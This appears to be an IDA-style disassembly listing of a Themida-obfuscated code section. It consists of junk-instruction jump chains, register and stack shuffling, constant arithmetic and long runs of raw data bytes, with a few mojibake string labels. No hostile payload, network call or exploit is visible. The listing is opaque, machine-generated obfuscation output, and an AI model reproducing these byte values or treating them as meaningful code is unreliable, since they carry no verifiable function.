		dd 13FB5E9h, 4353BA00h,	0C14A634Bh, 0B95107E2h,	34BB562Fh
		dd 0E959CA29h, 108D3h, 5351E681h, 0F68157BDh, 571C4245h
		dd 565EF289h, 88A2E9h, 4EC8100h, 89000000h, 0BF572414h
		dd 209743CFh, 11BEDE9h
		db 0
; ---------------------------------------------------------------------------

loc_543D8D:				; CODE XREF: Themida_:005580C4j
		xor	[esp], edx
		jmp	loc_55306B
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 83000000h, 48704C0h,	37685C24h, 8900003Fh, 4BF243Ch
		dd 55000000h, 0DB0158BDh, 4FF5532h, 0DDF75D24h,	0BA4AB951h
		dd 0CD29516Fh, 0B40EE9h, 5AD18900h, 295EF131h, 240C8BCAh
		dd 0D88E9h, 0AAE18100h,	575A7D0Ch, 0DB2EE9h, 81E18900h
		dd 4C1h, 4C18300h, 8B240C87h, 36E92424h
		db 0F2h, 2 dup(0)
byte_543DFB	db 0FFh			; DATA XREF: Themida_:005431A0o
		dd 17E93C77h
		db 24h,	1, 0
; ---------------------------------------------------------------------------

loc_543E03:				; CODE XREF: Themida_:00554821j
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 350D59C6h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_549C7C
; ---------------------------------------------------------------------------

loc_543E2C:				; CODE XREF: Themida_:0054F7D6j
		xor	esi, 504A733Fh
		xor	esi, 0ABB7EB6Eh
		jmp	loc_54742B
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 1E2F2468h, 243C8B37h, 4C481h, 0F7810000h, 47AF07ACh
		dd 0BE9FA89h, 500000Ch,	22690A2Eh, 8158C729h, 0C92586C7h
		dd 0CF20E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543E6E:				; CODE XREF: Themida_:0054C25Ej
		neg	esi
		sub	esi, 0D0B38164h
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_54D9E3
; ---------------------------------------------------------------------------
		dd 2603F381h, 0D8090182h, 0E9FCE9h, 2474FF00h, 24048B04h
		dd 13A47E9h, 58C28900h,	690768h, 24148900h, 0E72E95Bh
		db 1, 0
; ---------------------------------------------------------------------------

loc_543EAA:				; CODE XREF: Themida_:005436B9j
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_544E53
; ---------------------------------------------------------------------------
		dd 44A8F181h, 14E92CD4h, 830000B4h, 148704C2h, 148B5C24h
		dd 4C48124h, 68000000h,	0E1Bh, 1249CE9h, 14730500h, 0AEE9439Ah
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_543EEB:				; CODE XREF: Themida_:00543338j
		mov	[esp], ebp
		jmp	loc_54AA97
; ---------------------------------------------------------------------------
		db 31h
		dd 0D7F75EF7h, 0EF81DFF7h, 657B6FAAh, 3122E981h, 0F9290644h
		dd 140C3E9h, 0F1CC8000h, 8101C480h, 2ECh, 4896600h, 2454F624h
		dd 80586601h, 0B15162E4h, 8BCC08C0h, 68E9240Ch,	0BD000023h
		dd 4, 45F9BB53h, 0BD551E51h, 478D179Ch,	9FE9EB31h, 5900004Eh
		dd 0FEE9FD01h
		db 2Fh,	1, 0
; ---------------------------------------------------------------------------

loc_543F53:				; CODE XREF: Themida_:005516BCj
		pop	edi
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edx
		sub	dword ptr [esp], 33032AF3h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_545637
; ---------------------------------------------------------------------------

loc_543F7A:				; CODE XREF: Themida_:0054C516j
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		jmp	loc_5524EE
; ---------------------------------------------------------------------------
		db 80h
		dd 0F3806BF3h, 0E9DC28C8h, 80B2h, 0FAC7C781h, 0FD894049h
		dd 0F448E95Fh, 14890000h, 8500E924h, 0D4F60000h, 8029C480h
		dd 0C38014EBh, 80E30054h, 0B45054EBh, 0E9E30014h, 0C4B0h
		dd 715BD4B8h, 58C1016Ah, 5E9C15Bh, 584DC181h, 0E9577361h
		dd 12041h, 4958C189h, 17A9E181h, 0D1F770C2h, 83B85041h
		dd 404A0314h, 176FE9h, 4BE5600h, 1000000h, 232CE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544002:				; CODE XREF: Themida_:00544D24j
		pop	edi
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_555D15
; ---------------------------------------------------------------------------

loc_544013:				; CODE XREF: Themida_:0054B049j
		dec	edx
		not	edx
		sub	edx, 4E7966B4h
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 3E3D7C24h
		mov	ecx, eax
		pop	eax
		sub	edx, ecx
		jmp	loc_54984E
; ---------------------------------------------------------------------------

loc_544032:				; CODE XREF: Themida_:005572ADj
		xor	esi, 1A5B655Fh
		sub	esi, 2BE1BDFh
		and	esi, 44FC149Ah
		add	esi, 1
		shl	esi, 1
		push	edi
		mov	edi, 81100822h
		xor	esi, edi
		jmp	loc_54756E
; ---------------------------------------------------------------------------
aTsA		db 'TИ╟═',0
		align 4
		dd 4244481h, 7AA33EC2h,	4246C01h, 4246C81h, 7AA33EC2h
		dd 24348B5Dh, 0E904C483h, 15EBh, 0FB89C789h, 42E9585Fh
		dd 5700006Dh, 4CF7E9h, 0C895C00h, 38B7E924h, 0D8310001h
		dd 81241C8Bh, 4C4h, 0EFE95100h
		db 0FDh, 2 dup(0)
byte_5440A7	db 66h			; DATA XREF: Themida_:00543248o
		dd 0E924048Bh, 77CEh, 58BB5356h, 0E95ED177h, 697Ah, 0E95FF989h
		dd 78C0h, 0DCE9D1F7h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5440CB:				; CODE XREF: Themida_:0054CDE9j
		dec	ecx
		jmp	loc_54676C
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		db '$h',7,'&',0
		align 2
aI4HU		db '┴4$h╩U',0
		align 2
		dw 1C89h
		dd 2A26BB24h, 0BA5208CDh, 8CD2A2Ah, 295AD689h, 0F9E95BDEh
		dd 0F700005Ah, 0CA8192D0h, 6A3530B8h, 0BE5651h,	5663F855h
		dd 5E240CFFh, 0DE87E6D1h, 87934893h, 1DBA52DEh,	17F4B90h
		dd 0F1895AD6h, 0BF0CE9h
		db 0
; ---------------------------------------------------------------------------

loc_544129:				; CODE XREF: Themida_:0055058Aj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0B79h
		mov	[esp], ebx
		jmp	loc_5510BB
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F6h
		dd 610E7E66h, 0ADCBE9h,	4BB00h,	0D8890000h, 5B2434FFh
		dd 104C483h, 24048BC5h,	4C481h,	2C870000h, 24248B24h, 68C8B70Fh
		dd 338Fh, 0E9240C89h, 0FFFFF11Fh, 4B951h, 0BEE90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544187:				; CODE XREF: Themida_:00553D63j
		mov	ecx, 3AA22D28h
		jmp	loc_54885A
; ---------------------------------------------------------------------------

loc_544191:				; CODE XREF: Themida_:0054A20Bj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		push	6D86h
		jmp	loc_548A6B
; ---------------------------------------------------------------------------

loc_5441A2:				; CODE XREF: Themida_:0054EB92j
		add	edx, edi
		pop	edi
		add	edx, 45A41AB4h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_54B37C
; ---------------------------------------------------------------------------
		db 81h
		dd 0B47909EBh, 0F3815915h, 4F166FE8h, 7631C781h, 0DF2978E3h
		dd 7631EF81h, 0C35B78E3h, 0FFF0BAE9h, 4C281FFh,	0E9000000h
		dd 5DDEh, 34FFF231h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55070F
; ---------------------------------------------------------------------------
aYs		db 'YИщ$',0
		align 2
		dw 302Dh
		dd 0E9BCD7B9h, 11071h, 6624248Bh, 6866F1F7h, 89662939h
		dd 50662414h, 0F075E99Ch, 0D901FFFFh, 6B62E981h, 815B6FDAh
		dd 2C1h, 74FF5100h, 0C8B0424h, 4C48324h, 5C24048Fh, 2896664h
		dd 0FFF04EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54424D:				; CODE XREF: Themida_:0054DFC3j
		xor	esi, 73B228F9h
		shl	esi, 8
		add	esi, 0D0E6736h
		sub	esi, 0D8563D99h
		jmp	loc_54C9A0
; ---------------------------------------------------------------------------
		db 1
		dd 0FC5E9CBh, 0C0580000h, 0F78006E7h, 66F80025h, 56241C8Bh
		dd 0C681E689h, 4, 2C681h, 34870000h, 5F2C5C24h,	0E8B35366h
		dd 0DBC4E9h, 0EEC58100h, 81794508h, 62D0AEEDh, 0D6EF8116h
		dd 12A8B23h, 0D6C781EFh, 5D2A8B23h, 81EF015Ah, 0C15019EFh
		dd 0B9515D4Ah, 2, 7032C781h, 0EF813B9Bh, 4B004FA2h, 0E955CF01h
		dd 7504h
; ---------------------------------------------------------------------------

loc_5442D8:				; CODE XREF: Themida_:00549452j
		not	ebx
		push	ecx
		jmp	loc_54BD9B
; ---------------------------------------------------------------------------
aVs		db 'VИеш',0
		align 2
		dw 0B0E9h
		dd 1FFFFEFh, 7CBA52CFh,	4A1A2A04h, 77B4F281h, 0D7016003h
		dd 122FEE9h
		db 0
; ---------------------------------------------------------------------------

loc_544301:				; CODE XREF: Themida_:00552E3Ej
		and	esi, 78A32446h
		jmp	loc_54FFFA
; ---------------------------------------------------------------------------
		dd 2859CA30h, 0C9685AD0h, 0E9000005h, 0AEEAh, 0CEFE5DB6h
		dd 802EC680h, 0F0280BC6h, 0E031E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54432E:				; CODE XREF: Themida_:00547E55j
		add	esi, 4
		jmp	loc_550415
; ---------------------------------------------------------------------------
		dw 0E668h
		dd 8900005Ch, 9682404h,	58504271h, 0E632A905h, 28E95654h
		dd 0C1000084h, 0E3C106E3h, 0AAC38103h, 31456E7Eh, 0E5E95BDEh
		dd 89000089h, 0BC968E3h, 34890000h, 1D31BE24h, 1EE958E1h
		dd 0FF000010h, 815D2434h, 4C4h,	4D89E900h, 575B0000h, 0FD7FE9h
		dd 0A3C18100h, 5B320012h, 0D5F7E987h, 6C94E9h
		db 0
byte_54439D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00543220o
		dd 411589Dh, 0F0E99C24h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5443AB:				; CODE XREF: Themida_:0054EBDCj
		push	ecx
		sub	dword ptr [esp], 55F279A0h
		jmp	loc_544634
; ---------------------------------------------------------------------------

loc_5443B8:				; CODE XREF: Themida_:00548A14j
		mov	bh, 60h
		add	bh, 98h
		sub	bh, cl
		mov	ecx, [esp]
		jmp	loc_54BF42
; ---------------------------------------------------------------------------
		db 52h
		dd 11C05E9h
		db 0
; ---------------------------------------------------------------------------

loc_5443CD:				; CODE XREF: Themida_:0054F8E8j
		pop	ecx
		jmp	loc_54C030
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFFFF9Bh, 81E68956h, 4C6h, 4B95100h, 1000000h
		dd 348759CEh, 0F0315C24h, 5E2434FFh, 11445E9h
		db 0
; ---------------------------------------------------------------------------

loc_5443FD:				; CODE XREF: Themida_:00547236j
		xor	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp]
		jmp	loc_54667B
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 9C2404D3h, 0FFEE76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544425:				; CODE XREF: Themida_:00543A0Ej
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 0BFh, 0C4h, 26h
		dd 9EE957FEh, 8300011Ah, 348704EEh, 99ADE924h, 0C5810000h
dword_544450	dd 4E030CC1h, 629BCD81h, 0E5C17D63h, 0B7ED8102h, 21B9CA2Bh
					; DATA XREF: ___:off_43668Co
		dd 1B0D5DE8h, 0E97C6E4Fh, 0D160h
; ---------------------------------------------------------------------------

loc_544470:				; CODE XREF: Themida_:0054E1D6j
		mov	edx, [esp]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jmp	loc_552127
; ---------------------------------------------------------------------------

loc_544491:				; CODE XREF: Themida_:00553A46j
		add	esp, 2
		jmp	loc_5518E7
; ---------------------------------------------------------------------------
		dd 4BFh, 5FFB0100h, 4EB81h, 1C870000h, 4895C24h, 0B9D3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5444B6:				; CODE XREF: Themida_:005583A8j
		xor	ah, 46h
		add	bl, 4
		add	bl, ah
		jmp	loc_548F4F
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 24248B24h, 11B3DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5444D1:				; CODE XREF: Themida_:0054C33Aj
		add	ebx, eax
		jmp	loc_54FF67
; ---------------------------------------------------------------------------
dword_5444D8	dd 1E59E9ADh		; DATA XREF: Themida_:005431F8o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5444DE:				; CODE XREF: Themida_:005520FDj
		mov	al, 93h
		xor	al, 3Fh
		sub	bl, al
		mov	eax, [esp]
		jmp	loc_555E99
; ---------------------------------------------------------------------------
		dd 0C15AD309h, 6EE908E3h, 8900000Eh, 0CB82404h,	122F510h
		dd 2434FFC2h, 0AA7FE958h, 0E9530000h, 0AABAh
; ---------------------------------------------------------------------------

loc_544510:				; CODE XREF: Themida_:00553C98j
		push	dword ptr [edi+eax*4]
		push	ebx
		jmp	loc_5438BF
; ---------------------------------------------------------------------------

loc_544519:				; CODE XREF: Themida_:005491B7j
		dec	esi
		add	esi, 3491E34Dh
		jmp	loc_54C03F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48324h, 34FFC830h,	54575924h, 4C7815Fh, 83000000h
		dd 42E904C7h, 0B60000F6h, 0CF98E9EEh, 0D8280000h, 0D7FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_544551:				; CODE XREF: Themida_:0054B72Bj
		pop	edi
		xor	ecx, 0DB6A4383h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_544D14
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B10BE56h, 9C682352h, 89000000h, 68532404h, 4A350981h
		dd 0C1B0E9h, 0F2315800h, 0D73CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54458D:				; CODE XREF: Themida_:00554784j
		pop	ecx
		jmp	loc_549390
; ---------------------------------------------------------------------------
		db 81h
		dd 0E2D971E9h, 8BCE0175h, 0C481240Ch, 4, 0EE81FE29h, 1B943823h
		dd 83243C8Bh, 0C8904ECh, 81E18924h, 4C1h, 4C18100h, 87000000h
		dd 685C240Ch, 57C0h, 0E9243489h, 783Ch,	8904EC83h, 0E589242Ch
		dd 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch,	48F5C24h
		dd 0BC98E924h, 0E7890000h, 4C781h, 0BD550000h, 4, 875DEF01h
		dd 248B243Ch, 58E58824h, 0F5805A66h, 0FFE830E9h, 68592434h
		dd 19AFh, 89243C89h, 4C781E7h, 0E9000000h, 42FDh
; ---------------------------------------------------------------------------

loc_544634:				; CODE XREF: Themida_:005443B3j
		pop	edx
		jmp	loc_54DF39
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 55520000h, 0B73973BDh, 7BDDE946h, 0C4830000h
		dd 242C8704h, 240C895Ch, 5C40BF57h, 0E3E92165h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544663:				; CODE XREF: Themida_:005469D9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25AB203Ah
		mov	edx, eax
		pop	eax
		neg	edx
		sub	edx, 0B9C5A387h
		jmp	loc_5532EE
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 9AFDE9h
		db 0
; ---------------------------------------------------------------------------

loc_544689:				; CODE XREF: Themida_:0054EB54j
		mov	ecx, 4752148Ah
		inc	ecx
		neg	ecx
		add	ecx, 7B1B3D7Fh
		add	ebx, ecx
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 4DE114Ah
		and	edx, 77CB5482h
		jmp	loc_556E93
; ---------------------------------------------------------------------------
		dd 53668E04h, 0CF8004B7h, 44B0E995h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5446BA:				; CODE XREF: Themida_:00545B51j
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_54A56B
; ---------------------------------------------------------------------------

loc_5446C4:				; CODE XREF: Themida_:0054B721j
		push	ebp
		push	esi
		jmp	loc_545C10
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FBD5500h, 81097D32h, 0DB39FDC7h, 0BBEF8170h
		dd 2959BA6Fh, 0BBC781EFh, 0E959BA6Fh, 9B79h, 7944C281h
		dd 0EAC1290Ch, 9CE94208h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5446FF:				; CODE XREF: Themida_:005576E3j
		mov	ebp, 400h
		jmp	loc_5548DF
; ---------------------------------------------------------------------------

loc_544709:				; CODE XREF: Themida_:0055571Aj
		shl	ebp, 4
		jmp	loc_54ABC0
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 8
		dd 0C1FFEA83h, 0C28106EAh, 0BB817EA7h, 70C2E9h,	0DF63500h
		dd 10E9037Eh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54472F:				; CODE XREF: Themida_:0055433Ej
		sub	ebx, edx
		pop	edx
		push	dword ptr [ebx]
		push	ebx
		jmp	loc_551641
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 0EB59E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544742:				; CODE XREF: Themida_:0054A7ADj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54E101
; ---------------------------------------------------------------------------
		dd 3E0C166h, 5C9D0566h,	8BC38966h, 0F7E92404h, 0BD0000FBh
		dd 0
		dd 0F214E9h, 1DF28100h,	5F3BAF57h, 516E9h
		db 0
; ---------------------------------------------------------------------------

loc_544779:				; CODE XREF: Themida_:0054F67Dj
		dec	esi
		not	esi
		jmp	loc_54DE99
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 8Ch
		dd 34FFF030h, 24148B24h, 0E904C483h, 769Eh, 0BE327FBDh
		dd 0DDF74D6Dh, 0CD81E5D1h, 0DE5648Fh, 5605E5C1h, 6DC0F4BEh
		dd 0E9F529B2h, 0CA86h, 0E189515Ch, 0DA685257h, 5A74D761h
		dd 3FDCE9h, 46E95000h, 81000116h, 0EFB682C2h, 2C69E9CEh
		dd 895C0001h, 56572424h, 0C681E689h, 4,	4EE81h,	34870000h
		dd 97E95C24h, 89000018h, 0CE9242Ch
		db 3, 1, 0
; ---------------------------------------------------------------------------

loc_5447FB:				; CODE XREF: Themida_:0054D571j
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 77D916C7h
		jmp	loc_5515AA
; ---------------------------------------------------------------------------
		db 0E9h, 69h, 0EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544832:				; CODE XREF: Themida_:00555A88j
		mov	ebx, 53FE00ACh
		sub	dword ptr [esp+8], 5D216FCEh
		add	[esp+8], ebx
		add	dword ptr [esp+8], 5D216FCEh
		mov	ebx, [esp]
		add	esp, 4
		sub	[esp+4], eax
		push	ebx
		mov	ebx, 53FE00ACh
		sub	dword ptr [esp+8], 2241305Dh
		sub	[esp+8], ebx
		add	dword ptr [esp+8], 2241305Dh
		pop	ebx
		pop	eax
		pop	dword ptr [edi+24h]

loc_544874:				; CODE XREF: Themida_:0054B6CFj
		push	0EFBh
		mov	[esp], esi
		push	261Ch
		mov	[esp], ebx
		jmp	loc_55762A
; ---------------------------------------------------------------------------

loc_544889:				; CODE XREF: Themida_:00543BFCj
		sub	esp, 4
		jmp	loc_545D04
; ---------------------------------------------------------------------------
		db 0E9h, 5, 0EAh
		dd 0F581FFFFh, 4AA43D11h, 4A5DEA31h, 5005EAC1h,	0EA36E9h
		dd 0F7816600h, 0C1665808h, 816603E7h, 66C81AEFh, 665FFB01h
		dd 0E8E9C301h, 5D000060h, 42E9B951h, 0CB094729h, 0D7B95159h
		dd 8147D56Ch, 5F46E3C9h, 7BC9814Fh, 5266FB1Ah, 0BAh, 52CA2900h
		dd 0C1835A59h, 0BD554901h, 0E7F9F7EAh, 0C0A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5448F9:				; CODE XREF: Themida_:005532DAj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, eax
		mov	edx, ecx
		jmp	loc_54D4AC
; ---------------------------------------------------------------------------

loc_544911:				; CODE XREF: Themida_:0054348Fj
		push	dword ptr [esp+4]
		jmp	loc_555A80
; ---------------------------------------------------------------------------

loc_54491A:				; CODE XREF: Themida_:005490A9j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_54AD00
; ---------------------------------------------------------------------------
		dd 0FF58C101h, 835B2434h, 1D6804C4h, 8900000Dh,	74FF240Ch
		dd 8F590424h, 248B2404h, 0BE0F6624h, 0DB6866C8h, 0C89664Dh
		dd 0E941E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54495A:				; CODE XREF: Themida_:0054769Dj
		pop	esp
		add	esi, 4BD03BB7h
		add	esi, ecx
		jmp	loc_551685
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	0FF24248Bh, 7BE92434h
		db 84h,	2 dup(0)
byte_54497B	db 0FFh			; DATA XREF: Themida_:00543218o
		dd 82E92434h, 83FFFFEDh, 2FE9FFC1h, 0B20000B0h,	2F52E9AAh
		dd 1C330000h, 241C3124h, 8B241C33h, 52E92424h, 5800003Ch
		dd 8904EC83h, 0EC68240Ch, 89000034h, 5768242Ch,	0E943E626h
		dd 11D97h, 42D5Fh, 55E90000h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5449C7:				; CODE XREF: Themida_:00550664j
		add	esp, 4
		sub	esi, ebx
		push	edx
		mov	edx, esi
		mov	ebx, edx
		pop	edx
		pop	esi
		shl	ebx, 7
		push	ebp
		mov	ebp, 400C4DBAh
		sub	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 0CA89493Ah
		add	ebx, edi
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54FAC3
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 1187CE9h, 2434FF00h,	22B1E95Fh, 48B0001h, 4EC8124h
		dd 89000000h, 0E0892404h, 405h,	40500h,	0E9500000h, 67FCh
		dd 55B9C281h, 0C22923BBh, 55B9EA81h, 0EA8123BBh, 16F2029Dh
		dd 5AD38958h, 0F703EBC1h, 39C381D3h, 0E90F3263h, 0FFFFE84Fh
		dd 52E18951h, 2D79C2BAh, 353DE96Bh
		db 2 dup(0)
word_544A5A	dw 8B66h		; DATA XREF: Themida_:005430E4o
		dd 0EC832404h, 0B88DE904h, 3C8B0000h, 1E4E924h,	5A660000h
		dd 53505266h, 9EB054B7h, 34FFF800h, 0C4835B24h,	171AE904h
		dd 5B540001h, 0AC20E9h
		db 0
; ---------------------------------------------------------------------------

loc_544A8D:				; CODE XREF: Themida_:00545B5Ej
		add	esi, 148F7223h
		pop	eax
		jmp	loc_5573B7
; ---------------------------------------------------------------------------
		db 5Ah,	2Dh, 81h
		dd 295D9A5Dh, 281E9D8h
		db 1, 0
; ---------------------------------------------------------------------------

loc_544AA6:				; CODE XREF: Themida_:0054B793j
		mov	ebx, 3FC614C7h
		jmp	loc_54E374
; ---------------------------------------------------------------------------
		dd 0F8686ABDh, 0E9EA0159h, 220Ah, 0EB81CB29h, 7B032F3Ch
		dd 265BC381h, 81592461h, 0E35CD4C6h, 48BB5357h,	815B1A06h
		dd 0F645E0E3h, 0B2EB810Dh, 0C1557B1Ah, 0CB8102E3h, 44760D8Ch
		dd 0B22DC381h, 0DE299F68h, 9A9FE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544AFA:				; CODE XREF: Themida_:00553855j
		xor	esi, eax
		xor	eax, esi
		push	1A35h
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_557B82
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 73h
		dd 0E9007F6Ch, 8858h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 205h, 0AE99E900h, 0DE290000h, 575EF387h, 5B15F6BFh
		dd 0F7EFD111h, 78C781DFh, 814FCF49h, 86CE81EFh,	368EE947h
		dd 0F9870000h, 8E9C15Fh, 0EB24E9h, 0E2895200h, 4C281h
		dd 0C2830000h, 24148704h, 2414875Ch, 2434895Ch,	2434FF54h
		dd 0E689565Eh, 0FD7BA52h, 0F0E92686h, 12h, 0B7535BD8h
		dd 0E9CFFEF5h, 165Dh, 0C15AD731h, 0EF8105EFh, 0B6AC800Ah
		dd 72D0C681h, 0FE290850h, 72D0EE81h, 3C8B0850h,	4C48324h
		dd 3BE9F231h, 8F000061h, 248B2404h, 240C8924h, 0B4D9E9h
		db 0
; ---------------------------------------------------------------------------

loc_544BCD:				; CODE XREF: Themida_:0055653Cj
		add	ebx, ecx
		pop	ecx
		jmp	loc_5453D9
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 6B486856h, 0C6E90000h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544BE7:				; CODE XREF: Themida_:0054AD0Cj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5519D2
; ---------------------------------------------------------------------------

loc_544BF3:				; CODE XREF: Themida_:00557710j
		add	bl, dh
		pop	edx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_547509
; ---------------------------------------------------------------------------
aDaJsv		db '╡d─б├И╒з',0
		align 4
		dd 0C065B652h, 0DEF607EEh, 4EC81h, 1C890000h, 80D4B324h
		dd 0D3F699E3h, 80D3CB80h, 0B050F8CBh, 1E15E957h, 0C8B0001h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 2474FF51h, 48F5904h
		dd 2778E924h, 0C4830000h, 2D5EE904h, 2C350000h,	0E9014777h
		dd 2B6Ch
; ---------------------------------------------------------------------------

loc_544C64:				; CODE XREF: Themida_:00551A63j
		add	esp, 4
		mov	esi, [esp]
		push	edi
		push	esp
		jmp	loc_557525
; ---------------------------------------------------------------------------

loc_544C74:				; CODE XREF: Themida_:00554D84j
		shr	bl, 6
		push	edx
		mov	dl, 8Bh
		sub	dl, 0Ah
		sub	bl, 0C2h
		sub	bl, dl
		jmp	loc_55237B
; ---------------------------------------------------------------------------
aPirss		db 'P┴ЮИ▒^',0
		dw 5700h
		dd 2301F1BFh, 92E8E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544C9A:				; CODE XREF: Themida_:00553A89j
		pop	eax
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_551B70
; ---------------------------------------------------------------------------

loc_544CA5:				; CODE XREF: Themida_:0054ECABj
		xor	[esp+4], edx
		pop	edx
		pop	eax
		xor	eax, 32551040h
		jmp	loc_5478ED
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0A8h
		dd 0E7C075B7h, 6B55108h, 8007EDC0h, 0C7800AEDh,	80EF004Eh
		dd 30594EEFh, 440459EFh, 0F404A604h, 0F8284D04h, 42CCE9h
		dd 62E95A00h, 52FFFFE7h, 0C98AE9h, 401BBB00h, 0E3C10572h
		dd 0A0EB8103h, 4B24263Bh, 44E95051h, 530000BEh,	0BD55E389h
		dd 4, 0E95DEB01h, 9532h
; ---------------------------------------------------------------------------

loc_544D14:				; CODE XREF: Themida_:00544566j
		mov	esi, esp
		push	edi
		mov	edi, 3FB80F6Ch
		sub	edi, 3FB80F68h
		add	esi, edi
		jmp	loc_544002
; ---------------------------------------------------------------------------
		db 58h,	33h, 0Ch
		dd 240C3124h, 48D6E9h, 3C875E00h, 0C5F2E924h, 8F5F0000h
		dd 248B2404h, 11B3E924h, 4A2D0001h, 812DD2D2h, 0F04A60EEh
		dd 81C62955h, 0F04A60C6h, 0F823E955h, 148BFFFFh, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 0B208E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544D7A:				; CODE XREF: Themida_:00550419j
		add	esp, 4
		jmp	loc_55506C
; ---------------------------------------------------------------------------
		dw 0C381h
